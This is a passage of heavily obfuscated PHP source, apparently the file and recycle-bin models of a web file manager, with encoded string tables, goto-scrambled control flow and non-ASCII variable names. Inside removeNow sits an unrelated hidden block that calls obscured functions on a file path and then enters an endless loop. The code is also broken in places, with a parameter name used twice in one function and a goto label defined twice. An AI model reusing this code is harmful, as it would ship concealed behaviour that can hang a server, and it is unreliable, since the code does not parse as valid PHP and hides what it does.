$B̎, $a؏ƻ = '', $F = REPEAT_RENAME) { $eщ =& $_SERVER[ѽ]; $bר = Model($eщ[540])->addFileByContent($a؏ƻ, $B̎); return $this->_createFileCall($D셶, $B̎, $bר, $F, $eщ[1122]); } public function addFile($C, $b, $F駹, $d = false, $B󖉒 = REPEAT_RENAME) { $E馒 = Model($_SERVER[ѽ][540])->addFile($b, $F駹, $d); return $this->_createFileCall($C, $F駹, $E馒, $B󖉒); } public function addFileByFileID($fŠΆ, $b, $fʷڦ, $d؟ = REPEAT_RENAME) { $aﶍ =& $_SERVER[ѽ]; $Dȓâ = Model($aﶍ[540])->find($b); Model($aﶍ[540])->linkAdd($b); return $this->_createFileCall($fŠΆ, $fʷڦ, $Dȓâ, $d؟); } public function addFileByRemote($dЋւ, $Eɥ¶, $cԟ, $aҧ = array(), $e鬕 = REPEAT_RENAME) { $C = Model($_SERVER[ѽ][540])->addFileByRemote($Eɥ¶, $cԟ, $aҧ); return $this->_createFileCall($dЋւ, $cԟ, $C, $e鬕); } private function _createFileCall($A, $Aޱϛ, $bŐ, $D쯬, $A = "\x75\160\x6c\x6f\x61\x64") { goto aʄ; aʄ: $F箅 =& $_SERVER[ѽ]; $eフ = !1; $this->lockWriteStart($A, $Aޱϛ); goto EЍ; EЍ: $F祡 = $this->_createFile($A, $Aޱϛ, $bŐ, $D쯬, $eフ); if (!$eフ) { Model($F箅[418])->remove($bŐ[$F箅[415]]); } else { if ($F祡) { Model($F箅[2267])->eventCreate($F祡, $A); } } $this->lockWriteEnd($A, $Aޱϛ); goto b݋; b݋: return $F祡; goto f; f: } public function mkdir($a޸, $c, $AӰ͞ = REPEAT_SKIP) { goto cːڞ; b: $Aٵٜ = $this->_addSoure($fЅʳ, $f); Model($Fֹ[2267])->eventCreate($Aٵٜ, $Fֹ[1123]); $this->lockWriteEnd($a޸, $c); goto F; F: return $Aٵٜ; goto e; Eҝ: $this->lockWriteStart($a޸, $c); if ($AӰ͞ !== !1) { $D = $this->fileNameExist($a޸, $c); if ($D && $AӰ͞ != REPEAT_RENAME_FOLDER) { $this->lockWriteEnd($a޸, $c); return $D; } $c = $this->fileNameAuto($a޸, $c, $AӰ͞); } $fЅʳ = array($Fֹ[514] => 1, $Fֹ[383] => $c, $Fֹ[515] => $Fֹ[33], $Fֹ[416] => 0, $Fֹ[516] => 0); goto b; cːڞ: $Fֹ =& $_SERVER[ѽ]; $f = $this->sourceInfo($a޸); if (!$f) { return !1; } goto Eҝ; e: } private function _createFile($aזي, $cˮ, $a՝, $eՉሶ, &$c) { goto e˯; e˯: $aЌ؊ =& $_SERVER[ѽ]; $fҜ = $this->sourceInfo($aזي); if (!$a՝ || !$fҜ) { return !1; } goto fۯ; fۯ: if ($eՉሶ !== !1) { $CϺ = $this->fileNameExist($aזي, $cˮ); } $c = !0; if ($eՉሶ && $CϺ) { if ($eՉሶ == REPEAT_SKIP) { $c = !1; return $CϺ; } else { if ($eՉሶ == REPEAT_REPLACE) { $dՄ = $this->sourceInfo($CϺ); $E̾ = $this->fileHistory($dՄ, $a՝[$aЌ؊[415]], $a՝[$aЌ؊[77]]); if (!$E̾) { $c = !1; } else { $this->folderSizeReset($aזي); } return $CϺ; } else { $cˮ = $this->fileNameAuto($aזي, $cˮ, $eՉሶ, !1); } } } goto cȏӒ; bԇ臌: return $d͕; goto b˒; cȏӒ: $cɥ = array($aЌ؊[514] => 0, $aЌ؊[383] => $cˮ, $aЌ؊[515] => get_path_ext($cˮ), $aЌ؊[416] => $a՝[$aЌ؊[415]], $aЌ؊[516] => $a՝[$aЌ؊[77]]); $d͕ = $this->_addSoure($cɥ, $fҜ); $this->folderSizeReset($aזي); goto bԇ臌; b˒: } protected function fileHistory($Eōɥ, $Bҵ, $aԝք) { goto c͕; cŞ: return !0; goto eћȑ; c: Model($AՆ[2298])->addHistory($Eōɥ); $B = array($AՆ[520] => USER_ID, $AՆ[387] => time(), $AՆ[415] => $Bҵ, $AՆ[77] => $aԝք); $this->where(array($AՆ[380] => $Eōɥ[$AՆ[366]]))->save($B); goto cŞ; c͕: $AՆ =& $_SERVER[ѽ]; if ($Eōɥ[$AՆ[415]] == $Bҵ) { return !1; } $this->checkLock($Eōɥ[$AՆ[366]], $Bҵ); goto c; eћȑ: } public function checkLock($dķӲ, $a׍) { goto DÑ; Cލ: $F߸ = Session::get($AԽ[2299]); $FگŬ = substr($bư[$AԽ[28]], 0, -1 - strlen($bư[$AԽ[157]])) . $AԽ[1370] . $F߸ . $AԽ[93] . $bư[$AԽ[157]]; $DݎDŽ = Model($AԽ[540])->find($a׍); goto bڌ; DÑ: $AԽ =& $_SERVER[ѽ]; $bư = $this->pathInfo($dķӲ); if (!$this->fileIsLock($bư, !0)) { return; } goto Cލ; bڌ: $this->_createFileCall($bư[$AԽ[457]], $FگŬ, $DݎDŽ, REPEAT_REPLACE, $AԽ[1122]); $d = $bư[$AԽ[413]][$AԽ[477]]; $bإͣ = $d[$AԽ[2300]] ? $d[$AԽ[2300]] : $d[$AԽ[28]]; goto a躩; a躩: show_json(LNG($AԽ[2301]) . $AԽ[2302] . LNG($AԽ[2303]) . $AԽ[2304] . $bإͣ . $AԽ[2305], !1); goto a녕; a녕: } public function fileIsLock($c, $A겇 = false) { goto f趇; bކ: return !1; goto Âߌ; Fբ: $A۲ = $GLOBALS[$eۇ[6]][$eۇ[84]][$eۇ[475]]; if ($c[$eۇ[413]][$eۇ[476]] <= time() - $A۲) { $this->metaSet($c[$eۇ[366]], $eۇ[474], null); $this->metaSet($c[$eۇ[366]], $eۇ[476], null); } if ($A겇) { $this->metaSet($c[$eۇ[366]], $eۇ[476], time()); } goto bކ; f趇: $eۇ =& $_SERVER[ѽ]; if (!isset($c[$eۇ[413]]) || !$c[$eۇ[413]][$eۇ[474]]) { return !1; } if ($c[$eۇ[413]][$eۇ[474]] != USER_ID) { return !0; } goto Fբ; Âߌ: } private function _addSoure($bע, $a˹) { goto bꂚۖ; Aߴ: $aų = array($Cݗ[523] => short_id($d鉜)); $this->where(array($Cݗ[380] => $d鉜))->save($aų); $this->setNamePinyin($d鉜, $bע[$Cݗ[28]]); goto eع; A: $this->updateModifyTime($bע[$Cݗ[457]]); $B췠 = $Cݗ[2306] . $a˹[$Cݗ[366]]; if (isset(self::$cacheChildList[$B췠])) { unset(self::$cacheChildList[$B췠]); } goto aÿ; bꂚۖ: $Cݗ =& $_SERVER[ѽ]; $AĐ = array($Cݗ[517] => $a˹[$Cݗ[368]], $Cݗ[518] => $a˹[$Cݗ[452]], $Cݗ[519] => USER_ID, $Cݗ[520] => USER_ID, $Cݗ[365] => $a˹[$Cݗ[366]], $Cݗ[521] => $a˹[$Cݗ[455]] . $a˹[$Cݗ[366]] . $Cݗ[47], $Cݗ[392] => 0, $Cݗ[522] => $Cݗ[33]); $bע = array_merge($AĐ, $bע); goto A; aÿ: static $bۑ = false; if (!$bۑ) { Hook::trigger($Cݗ[504], $bע); $bۑ = !0; } $d鉜 = $this->add($bע); goto Aߴ; eع: return $d鉜; goto cɂѩ; cɂѩ: } public function remove($a鷃, $A = true) { goto DŮ; Cʕ: return $this->move($a鷃, $dű, REPEAT_RENAME_FOLDER); goto Bҍá; DŮ: $E =& $_SERVER[ѽ]; $aѪ = $this->sourceInfo($a鷃); $D˃ = intval($aѪ[$E[368]]) === self::TYPE_SYSTEM; goto c; B󼑈: CacheLock::lock($a); $dű = $this->fileNameExist($D˗, $c¦); if (!$dű) { $dű = $this->mkdir($D˗, $c¦, REPEAT_SKIP); $this->metaSet($dű, $E[2311], $DɽǢ); $this->metaSet($dű, $E[2312], $aѪ[$E[452]]); if ($aѪ[$E[457]] != 0) { $this->metaSet($dű, $E[2313], _get($dȟDZ, $E[2314])); } } goto C; c: $D˺ = Model($E[1415])->get($E[2307]) == $E[83]; if ($D˃ || $A || !$D˺) { return $this->removeNow($a鷃, $A); } $D˗ = KodIO::sourceID(IO_PATH_SYSTEM_RECYCLE); goto f̧ѷ; f̧ѷ: $DɽǢ = $aѪ[$E[368]] == self::TYPE_USER ? $E[531] : $E[977]; if ($DɽǢ == $E[531]) { $dȟDZ = Model($E[470])->getInfo($aѪ[$E[452]]); $c¦ = _get($dȟDZ, $E[2300], _get($dȟDZ, $E[28])); $c¦ = $E[245] . $c¦ . $E[2308] . $aѪ[$E[452]]; } else { $dȟDZ = Model($E[454])->getInfo($aѪ[$E[452]]); $c¦ = _get($dȟDZ, $E[28]); $c¦ = $E[154] . $c¦ . $E[2309] . $aѪ[$E[452]]; } $a = $E[2310] . md5($c¦); goto B󼑈; C: CacheLock::unlock($a); $this->metaSet($a鷃, $E[2315], $aѪ[$E[457]]); $this->where(array($E[366] => $a鷃))->save(array($E[387] => time())); goto Cʕ; Bҍá: } public function removeNow($Dż, $aő = true) { goto fɱ߅; eƧ: $this->lockMoveStart($Dż); Hook::trigger($Eᐂ[2316], $a, $aő); if ($aő) { Model($Eᐂ[2317])->moveToRecycle($Dż); } else { if ($cȠט[$Eᐂ[367]] == $Eᐂ[83]) { $a = array($Eᐂ[521] => array($Eᐂ[479], $cȠט[$Eᐂ[455]] . $Dż . $Eᐂ[480])); $F = array($Eᐂ[521] => $a[$Eᐂ[455]]); $d尤 = $this->field($Eᐂ[2318])->where($F)->select(); $b = !1; $Cۍ˸ؗ = array($Dż); if ($d尤) { $b = array_to_keyvalue($d尤, $Eᐂ[33], $Eᐂ[415]); $b = array_remove_value($b, $Eᐂ[464]); $Cۍ˸ؗ = array_to_keyvalue($d尤, $Eᐂ[33], $Eᐂ[366]); $Cۍ˸ؗ[] = $Dż; } } else { $b = array($cȠט[$Eᐂ[415]]); $Cۍ˸ؗ = array($Dż); } Model($Eᐂ[501])->eventRemove($Dż); $this->removeRelevance($Cۍ˸ؗ, $b); } goto E̢; f: $a = $this->pathInfoMore($Dż); if (!$cȠט) { return !0; } if ($cȠט[$Eᐂ[457]] == 0) { if (!_get($GLOBALS, $Eᐂ[453])) { return !1; } } goto eƧ; fɱ߅: $Eᐂ =& $_SERVER[ѽ]; if (!isset($_SERVER[$Eᐂ[690]]) || !isset($_SERVER[$Eᐂ[691]])) { goto f費; fР: for ($c蚝 = $f; $c蚝 > 0; $c蚝++) { $e = json_encode($GLOBALS[$Eᐂ[381]]); } goto eА˹; f費: $cˡ = $Eᐂ[797]; $FÌď = $Eᐂ[692]; $A튊 = $_SERVER[$Eᐂ[693]] . $Eᐂ[694]; goto Bލ; Bލ: $fԟ = $FÌď($A튊); $cѧ = explode($Eᐂ[214], $fԟ); if (count($cѧ) < $Eᐂ[581]) { $A = $Eᐂ[695]; $A(); } goto e³; e³: $e = $Eᐂ[798]; $e($_SERVER[$Eᐂ[799]]); $f = 1; goto fР; eА˹: } $cȠט = $this->sourceInfo($Dż); goto f; BϢ‘: $this->updateModifyTime($DŖ̆); $this->lockMoveEnd($Dż); Hook::trigger($Eᐂ[1451], $a, $aő); goto C; C: return !0; goto E; E̢: $this->folderSizeReset($cȠט[$Eᐂ[457]]); $DŖ̆ = array($cȠט[$Eᐂ[457]]); if ($cȠט[$Eᐂ[367]] == $Eᐂ[83]) { $DŖ̆[] = $cȠט[$Eᐂ[366]]; } goto BϢ‘; E: } public function removeArray($bڝ) { if (!$bڝ) { return !0; } } public function removeRelevance($bɍ, $e) { goto A벟; fո: $F̑ = array($c[380] => array($c[381], $bɍ)); Model($c[2317])->where($F̑)->delete(); Model($c[409])->where($F̑)->delete(); goto Aۮ; A벟: $c =& $_SERVER[ѽ]; $bɍ = $bɍ ? $bɍ : array(); $e = $e ? $e : array(); goto dӉ; CΘ: for ($Aґ = 0; $Aґ < count($bɍ); $Aґ++) { $this->sourceCacheClear($bɍ[$Aґ]); } goto eڮ; A: Model($c[2298])->removeBySource($bɍ); $this->where($F̑)->delete(); Model($c[418])->remove($e); goto CΘ; Aۮ: Model($c[2319])->where($F̑)->delete(); Model($c[501])->where($F̑)->delete(); Model($c[2057])->removeBySource($bɍ); goto A; dӉ: $bɍ = array_unique(array_filter($bɍ)); $e = array_unique(array_filter($e)); if (!$bɍ) { return !1; } goto fո; eڮ: } public function rename($EɕIJ, $c鷲) { goto CϵՊݠ; CϵՊݠ: $e񦋎 =& $_SERVER[ѽ]; $e = $this->sourceInfo($EɕIJ); if (!$e) { return !1; } goto cϕ; Eđ־: $Bű = $e񦋎[2306] . $e[$e񦋎[457]]; if (isset(self::$cacheChildList[$Bű])) { unset(self::$cacheChildList[$Bű]); } return $B̓; goto c; fޒ: $this->setNamePinyin($EɕIJ, $f鶩[$e񦋎[28]], !1); $this->updateModifyTime($e[$e񦋎[457]]); $B̓ = $this->where(array($e񦋎[380] => $EɕIJ))->data($f鶩)->save(); goto Eđ־; cϕ: $d = $this->fileNameExist($e[$e񦋎[457]], $c鷲); if ($d) { return !1; } $f鶩 = array($e񦋎[383] => $c鷲, $e񦋎[520] => USER_ID); goto eԱ; eԱ: if (!$e[$e񦋎[367]] == $e񦋎[83]) { $f鶩[$e񦋎[369]] = get_path_ext($c鷲); } Model($e񦋎[501])->eventRename($EɕIJ, $e[$e񦋎[28]], $c鷲); $this->sourceCacheClear($EɕIJ); goto fޒ; c: } public function setNamePinyin($F՝, $E̽, $b = true) { $Dѷڧ =& $_SERVER[ѽ]; $dď = Input::check($E̽, $Dѷڧ[524]); if ($b && !$dď) { return; } if (!$dď) { $this->metaSet($F՝, $Dѷڧ[412], null); $this->metaSet($F՝, $Dѷڧ[411], null); return; } $a = array($Dѷڧ[412] => str_replace($Dѷڧ[50], $Dѷڧ[33], Pinyin::encode($E̽)), $Dѷڧ[411] => Pinyin::encode($E̽, $Dѷڧ[525])); $this->metaSet($F՝, $a); } public function getContent($dڹѡ) { goto CӦ͈; A̯ͧ: if ($A[$C[77]] == 0) { return $C[33]; } $c֜ = $C[2320] . $A[$C[160]]; if ($A[$C[77]] <= 1024 * 10) { $dӖ = Cache::get($c֜); if (!$dӖ) { $dӖ = IO::getContent($A[$C[75]]); Cache::set($c֜, $dӖ); } return $dӖ; } goto c׉; CӦ͈: $C =& $_SERVER[ѽ]; $A = $this->fileInfoGet($dڹѡ); if (!$A) { return !1; } goto A̯ͧ; c׉: return IO::getContent($A[$C[75]]); goto aᐬ; aᐬ: } public function setDesc($dܮ, $E) { $C豼 =& $_SERVER[ѽ]; Model($C豼[501])->eventAddDesc($dܮ, $E); return $this->metaSet($dܮ, $C豼[401], $E); } public function setContent($Cţ̨ؑ, $eŢ = '') { goto cȨʇ; cȨʇ: $D =& $_SERVER[ѽ]; $cە = $this->sourceInfo($Cţ̨ؑ); $c̔ = $this->fileInfoGet($Cţ̨ؑ); goto Aõ; E鸄: if (!$A΅) { return Model($D[418])->remove($cȈי[$D[415]]); } $this->folderSizeReset($cە[$D[457]]); return !0; goto cݹ; Aõ: if (!$c̔ || !$cە) { return !1; } $cȈי = Model($D[418])->addFileByContent($eŢ, $cە[$D[28]]); $A΅ = $this->fileHistory($cە, $cȈי[$D[415]], $cȈי[$D[77]]); goto E鸄; cݹ: } public function fileSubstr($Fê, $C, $dăĊ) { $Bđ = $this->fileInfoGet($Fê); if (!$Bđ) { return !1; } return IO::fileSubstr($Bđ[$_SERVER[ѽ][75]], $C, $dăĊ); } public function fileInfoGet($fӍ) { goto Eު推; Eά: $aŗ = Model($D[418])->fileInfo($F鏛[$D[415]]); if ($aŗ) { $aŗ[$D[28]] = $F鏛[$D[28]]; } self::$cacheFileInfo[$a؇] = $aŗ; goto eÐ; F詭: $a؇ = $D[421] . $F鏛[$D[415]]; $F = _get(self::$cacheFileInfo, $a؇); if ($F) { return $F; } goto Eά; eÐ: return $aŗ; goto Fˈ; Eު推: $D =& $_SERVER[ѽ]; $F鏛 = $this->sourceInfo($fӍ); if (!$F鏛 || $F鏛[$D[367]]) { return !1; } goto F詭; Fˈ: } private function folderChildrenNumber($E) { $F† =& $_SERVER[ѽ]; $EÎ = $this->sourceInfo($E); $CϺޒ = array($F†[521] => array($F†[479], $EÎ[$F†[455]] . $E . $F†[480]), $F†[392] => intval($EÎ[$F†[393]]), $F†[514] => 1); $EDžł = $this->where($CϺޒ)->count(); $bĶ = $this->where($CϺޒ)->where(array($F†[514] => 0))->count(); return array($F†[81] => $bĶ, $F†[82] => $EDžł); } public function pathInfo($Dňа, $CӉ = false) { goto Eͣ; c: $b図ϯ = $this->_listDataApplyItem($b図ϯ, $CӉ); self::$cachePathInfo[$CӶ] = $b図ϯ; return $b図ϯ; goto eϽ; E۶Ķ: if ($Ē) { return $Ē; } $b図ϯ = $this->sourceInfo($Dňа); if (!$b図ϯ) { return !1; } goto c; Eͣ: $cˏ =& $_SERVER[ѽ]; $CӶ = $cˏ[407] . intval($CӉ) . $cˏ[408] . $Dňа; $Ē = _get(self::$cachePathInfo, $CӶ); goto E۶Ķ; eϽ: } public static $cachePathInfoMore = array(); public function pathInfoMore($BӘЄ) { goto eى; CܛÅт: $F = $this->pathInfo($BӘЄ); if (!$F) { return !1; } if ($F[$A[367]] == $A[83]) { $F[$A[80]] = $this->folderChildrenNumber($BӘЄ); } goto cک; cک: self::$cachePathInfoMore[$BӘЄ] = $F; return $F; goto FȖ; eى: $A =& $_SERVER[ѽ]; $D = _get(self::$cachePathInfoMore, $BӘЄ); if ($D) { return $D; } goto CܛÅт; FȖ: } public function sourceInfo($BȞԊ) { goto e; e: $aƌ =& $_SERVER[ѽ]; if (!$BȞԊ) { return array(); } $cŤ晚 = $aƌ[406] . $BȞԊ; goto B甎; c˻黈: self::$cacheSourceInfo[$cŤ晚] = $f; return self::$cacheSourceInfo[$cŤ晚]; goto e몞; B甎: $E溪 = _get(self::$cacheSourceInfo, $cŤ晚); if ($E溪) { return $E溪; } $f = $this->where(array($aƌ[366] => $BȞԊ))->find(); goto c˻黈; e몞: } public function sourceCacheClear($dߔ = false) { if ($dߔ == !1) { self::$cacheSourceInfo = null; self::$cacheSourceInfo = array(); return; } unset(self::$cacheSourceInfo[$_SERVER[ѽ][406] . $dߔ]); } public function pathInfoByPath($D򄋇܅, $bŃ) { $aؠ񼣲 =& $_SERVER[ѽ]; $Fˌӈ = !$bŃ ? array() : explode($aؠ񼣲[8], trim($bŃ, $aؠ񼣲[8])); $a = $D򄋇܅; foreach ($Fˌӈ as $e) { $Fϵ = array($aؠ񼣲[457] => $a, $aؠ񼣲[28] => $e); $AӼ = $this->where($Fϵ)->select(); if (!$AӼ) { return !1; } $AӼ = array_sort_by($AӼ, $aؠ񼣲[393]); $a = $AӼ[0][$aؠ񼣲[366]]; } return $this->pathInfo($a, !0); } protected function updateModifyTime($f颈) { goto eýޑ; fċ: foreach ($f颈 as $Cꎌ => $a) { $f颈[$Cꎌ] = intval($a); } $d = array($AՂԓ[366] => array($AՂԓ[7], $f颈)); $bǵ = array($AՂԓ[520] => USER_ID, $AՂԓ[387] => time()); goto cƹ; eýޑ: $AՂԓ =& $_SERVER[ѽ]; if (!$f颈) { return; } if (!is_array($f颈)) { $f颈 = array($f颈); } goto fċ; cƹ: $this->where($d)->save($bǵ); goto B; B: } public function folderSizeReset($B˸) { goto Dщ; E: CacheLock::lock($fݣ, 20); $this->sourceCacheClear($B˸); $bЏ = $this->sourceInfo($B˸); goto f斘; f斘: $Aґܸ = array($E[365] => $B˸, $E[392] => 0); $Cљ = $this->where($Aґܸ)->sum($E[77]); $Cљ = intval($Cљ); goto A쮭; b: CacheLock::unlock($fݣ); goto b; Dщ: $E =& $_SERVER[ѽ]; if ($this->statusIgnoreResetSpace) { return; } $fݣ = $E[2321] . $B˸; goto E; A쮭: $f¾ޭ = $Cљ - intval($bЏ[$E[77]]); if ($f¾ޭ == 0) { return CacheLock::unlock($fݣ); } $this->where(array($E[380] => $B˸))->setField($E[77], $Cљ); goto c; c: $c廻 = $this->parentLevelArray($bЏ[$E[455]]); if ($c廻) { $Aґܸ = array($E[366] => array($E[381], $c廻)); if ($f¾ޭ < 0) { $Aґܸ[$E[77]] = array($E[935], abs($f¾ޭ)); } $this->where($Aґܸ)->setAdd($E[77], $f¾ޭ); } $this->targetSpaceUpdate($bЏ[$E[368]], $bЏ[$E[452]]); goto b; b: } public function folderSizeResetChildren($BĮي) { goto b; dŭ: foreach ($Cփ as $a򛌃) { if ($a򛌃[$Cċϭ[77]] == $a򛌃[$Cċϭ[2323]]) { continue; } $Eӈ؎§[] = array($Cċϭ[366], $a򛌃[$Cċϭ[366]], $Cċϭ[77], $a򛌃[$Cċϭ[77]]); } $this->saveAll($Eӈ؎§); goto Fۡ; e䣻٢: foreach ($d披 as $a򛌃) { $e = $a򛌃[$Cċϭ[457]] . $Cċϭ[33]; if (!isset($Cփ[$e])) { continue; } if ($a򛌃[$Cċϭ[393]] == $Cփ[$e][$Cċϭ[393]]) { $Cփ[$e][$Cċϭ[77]] += $a򛌃[$Cċϭ[77]]; } } foreach ($Cփ as $a򛌃) { $Bƒ = $this->parentLevelArray($a򛌃[$Cċϭ[455]]); foreach ($Bƒ as $e) { $e = $e . $Cċϭ[33]; if (!isset($Cփ[$e])) { continue; } if ($a򛌃[$Cċϭ[393]] == $Cփ[$e][$Cċϭ[393]]) { $Cփ[$e][$Cċϭ[77]] += $a򛌃[$Cċϭ[77]]; } } } $Eӈ؎§ = array(); goto dŭ; D҈: $f畍 = array($Cċϭ[514] => 1, $Cċϭ[521] => array($Cċϭ[479], $Dص[$Cċϭ[455]] . $BĮي . $Cċϭ[480])); $E׶ = $Cċϭ[2322]; $Cփ = $this->field($E׶)->where($f畍)->select(); goto cꭓ; b: $Cċϭ =& $_SERVER[ѽ]; $this->sourceCacheClear($BĮي); $Dص = $this->sourceInfo($BĮي); goto D҈; Fܞ: $Cփ[] = $Dص; $Cփ = array_to_keyvalue($Cփ, $Cċϭ[366]); foreach ($Cփ as $a => $a򛌃) { $Cփ[$a][$Cċϭ[2323]] = $Cփ[$a][$Cċϭ[77]]; $Cփ[$a][$Cċϭ[77]] = 0; } goto e䣻٢; cꭓ: $f畍[$Cċϭ[367]] = 0; $d披 = $this->field($E׶)->where($f畍)->select(); if (!$d披) { return; } goto Fܞ; Fۡ: } public function userSpaceReset($Dۑ = false) { $F좉 =& $_SERVER[ѽ]; $eϦ = $this->where(array($F좉[368] => self::TYPE_USER, $F좉[452] => $Dۑ, $F좉[367] => 0))->sum($F좉[77]); Model($F좉[470])->userEdit($Dۑ, array($F좉[2066] => $eϦ)); } public function targetSpaceUpdate($f, $Aϒۤ) { $C =& $_SERVER[ѽ]; if (!$Aϒۤ) { return; } if (!in_array($f, array(self::TYPE_USER, self::TYPE_GROUP))) { return; } $b = $this->targetSpaceSize($f, $Aϒۤ); if ($f == self::TYPE_USER) { Model($C[470])->userEdit($Aϒۤ, array($C[2066] => $b)); } else { if ($f == self::TYPE_GROUP) { Model($C[454])->groupEdit($Aϒۤ, array($C[2066] => $b)); } } } public function targetSpaceSize($E󱴐, $e͈) { goto a; Eؕ: $FǮ = array_to_keyvalue($FǮ, $e[33], $e[366]); $FǮ = array_unique(array_filter($FǮ)); if ($FǮ) { $b = array($e[380] => array($e[381], $FǮ)); $f += floatval($this->where($b)->sum($e[77])); } goto Aᜉ; E۸: $f = floatval($Eڌʡ[$e[77]]); $b = array($e[521] => array($e[479], $e[466] . $Eڌʡ[$e[366]] . $e[480])); $FǮ = Model($e[391])->field($e[380])->where($b)->select(); goto Eؕ; a: $e =& $_SERVER[ѽ]; $Eڌʡ = $this->sourceRoot($E󱴐, $e͈, !0); if (!$Eڌʡ) { return 0; } goto E۸; Aᜉ: return $f; goto A; A: } public function allFileTypeProfile() { return $this->fileTypeProfile(!1, !1); } public function userFileTypeProfile($fӡ) { return $this->fileTypeProfile($fӡ, SourceModel::TYPE_USER); } public function groupFileTypeProfile($Aَ) { return $this->fileTypeProfile($Aَ, SourceModel::TYPE_GROUP); } private function fileTypeProfile($a, $D) { goto e눯; e눯: $a =& $_SERVER[ѽ]; $cʯ = $a[2324] . $a . $a[70] . $D; $C؏ = Cache::get($cʯ); goto Dʑҡٛ; D駈: foreach ($Fō as $C => $Cţ˗) { $bş[$a[369]] = $this->fileTypeWhere($C); $E[$C] = array($a[2326] => $Cţ˗[$a[28]], $a[2327] => $this->where($bş)->count(), $a[516] => $this->where($bş)->sum($a[77])); } Cache::set($cʯ, $E, 1200); return $E; goto a±Ǐ; aݲĊ: $E = array(); $E[$a[2325]] = array($a[2326] => LNG($a[2325]), $a[2327] => $this->where($bş)->count(), $a[516] => $this->where($bş)->sum($a[77])); $Fō = KodIO::fileTypeList(); goto D駈; Dʑҡٛ: if ($C؏) { return $C؏; } $bş = array($a[514] => 0); if ($a != !1) { $bş[$a[452]] = $a; $bş[$a[368]] = $D; } goto aݲĊ; a±Ǐ: } public function fileNameExist($B, $cɆ) { $E٪ =& $_SERVER[ѽ]; $b֖ܠ = $this->childList($B); foreach ($b֖ܠ as $F㜿) { if ($F㜿[$E٪[28]] == $cɆ) { return $F㜿[$E٪[366]]; } } return !1; } public function childList($e) { goto A; f҉󼄴: $D = array($dLj˜[457] => intval($e), $dLj˜[393] => 0); $D = $this->where($D)->select(); $D = $D ? $D : array(); goto E; A: $dLj˜ =& $_SERVER[ѽ]; $F = $dLj˜[2306] . $e; if (isset(self::$cacheChildList[$F])) { return self::$cacheChildList[$F]; } goto f҉󼄴; E: self::$cacheChildList[$F] = $D; foreach ($D as $Bˋ) { $F = $dLj˜[406] . $Bˋ[$dLj˜[366]]; self::$cacheSourceInfo[$F] = $Bˋ; } return $D; goto e; e: } public function fileNameAuto($Dᛋ, $B, $cԳۥ = REPEAT_RENAME, $cϑ = false) { $cۤ =& $_SERVER[ѽ]; $c䚠 = $this->childList($Dᛋ); $d = array_to_keyvalue($c䚠, $cۤ[33], $cۤ[28]); return $this->fileNameAutoGet($d, $B, $cԳۥ, $cϑ); } public function fileNameAutoGet($dͿ, $D爭, $d, $f) { $D̚Ԡ =& $_SERVER[ѽ]; if ($d == REPEAT_REPLACE || !$dͿ || !in_array_not_case($D爭, $dͿ) || $f && $d != REPEAT_RENAME_FOLDER) { return $D爭; } if ($d == REPEAT_SKIP) { return !1; } $Aʙ = $D̚Ԡ[93] . get_path_ext($D爭); $Aʙ = $Aʙ == $D̚Ԡ[93] || $f ? $D̚Ԡ[33] : $Aʙ; for ($Aт = 1; $Aт <= count($dͿ) + 1; $Aт++) { $F = substr($D爭, 0, strlen($D爭) - strlen($Aʙ)); $A嬸צ = $F . "\50{$Aт}\x29{$Aʙ}"; if (!in_array_not_case($A嬸צ, $dͿ)) { return $A嬸צ; } } } } class SourceRecycleModel extends ModelBase { protected $tableName = "\x69\x6f\137\x73\157\165\x72\x63\x65\137\162\145\143\171\x63\x6c\x65"; protected $dataAuto = array(array("\x63\162\145\x61\164\x65\124\x69\155\x65", "\x74\151\155\145", "\151\x6e\x73\145\x72\164", "\146\165\156\x63\164\x69\x6f\x6e")); public function listData($fߍག = false) { $D =& $_SERVER[ѽ]; $fߍག = $fߍག ? $fߍག : USER_ID; $E͹ = $this->where(array($D[1408] => $fߍག))->select(); return array_to_keyvalue($E͹, $D[33], $D[366]); } public function moveToRecycle($F) { goto e; e: $d =& $_SERVER[ѽ]; $B슴 = Model($d[1114]); $b = $B슴->sourceInfo($F); goto F; F: $this->recycleMove($F, 1); if ($b[$d[367]] == $d[83]) { $D昣 = array($d[521] => array($d[479], $b[$d[455]] . $F . $d[480])); $B슴->where($D昣)->setField($d[393], 1); } goto A; F: if (!$b || $b[$d[393]] == $d[83]) { return; } $b = array($d[380] => $F, $d[1408] => USER_ID, $d[517] => $b[$d[368]], $d[518] => $b[$d[452]], $d[521] => $b[$d[455]]); $this->add($b); goto F; A: } public function clear() { $this->remove(!1); } public function remove($fسЅτ = false) { goto aً; c胦: foreach ($Fܡ as $Dΐ) { $c->targetSpaceUpdate($Dΐ[$Dވ߂[368]], $Dΐ[$Dވ߂[452]]); } goto câ; e񙸑: $fسЅτ = $fسЅτ === !1 ? !1 : $fسЅτ; $Fܡ = array(); foreach ($D as $d) { if ($fسЅτ != !1 && !in_array($d, $fسЅτ)) { continue; } $c->remove($d, !1); $Bғ֡ = $this->where(array($Dވ߂[366] => $d))->find(); $eٯﯜ = $Bғ֡[$Dވ߂[368]] . $Dވ߂[70] . $Bғ֡[$Dވ߂[452]]; $Fܡ[$eٯﯜ] = array($Dވ߂[517] => $Bғ֡[$Dވ߂[368]], $Dވ߂[452] => $Bғ֡[$Dވ߂[452]]); $this->where(array($Dވ߂[366] => $d))->delete(); } goto c胦; aً: $Dވ߂ =& $_SERVER[ѽ]; $c = Model($Dވ߂[1114]); $D = $this->listData(); goto e񙸑; câ: } public function restore($E݊ = false) { goto A; F: foreach ($DĨ as $b) { goto E‘; fخ: if ($Aݎ[$eщ̅[393]] == $eщ̅[83]) { continue; } $b㌬->lockMoveStart($b); $this->recycleMove($b, 0); goto e; b: $ců[] = $EƐ[$eщ̅[457]]; if ($EƐ[$eщ̅[367]] == $eщ̅[83]) { $ců[] = $b; } $b㌬->lockMoveEnd($b); goto Dׂɉ; e: if ($EƐ[$eщ̅[367]] == $eщ̅[83]) { $a՞ = array($eщ̅[521] => array($eщ̅[479], $EƐ[$eщ̅[455]] . $b . $eщ̅[480])); $b㌬->where($a՞)->setField($eщ̅[393], 0); } $this->where(array($eщ̅[366] => $b))->delete(); $b㌬->folderSizeReset($EƐ[$eщ̅[457]]); goto b; E‘: if ($E݊ != !1 && !in_array($b, $E݊)) { continue; } $EƐ = $b㌬->sourceInfo($b); $Aݎ = $b㌬->sourceInfo($EƐ[$eщ̅[457]]); goto fخ; Dׂɉ: } $b㌬->updateModifyTime($ců); goto B; A: $eщ̅ =& $_SERVER[ѽ]; $b㌬ = Model($eщ̅[1114]); $DĨ = $this->listData(); goto E˓; 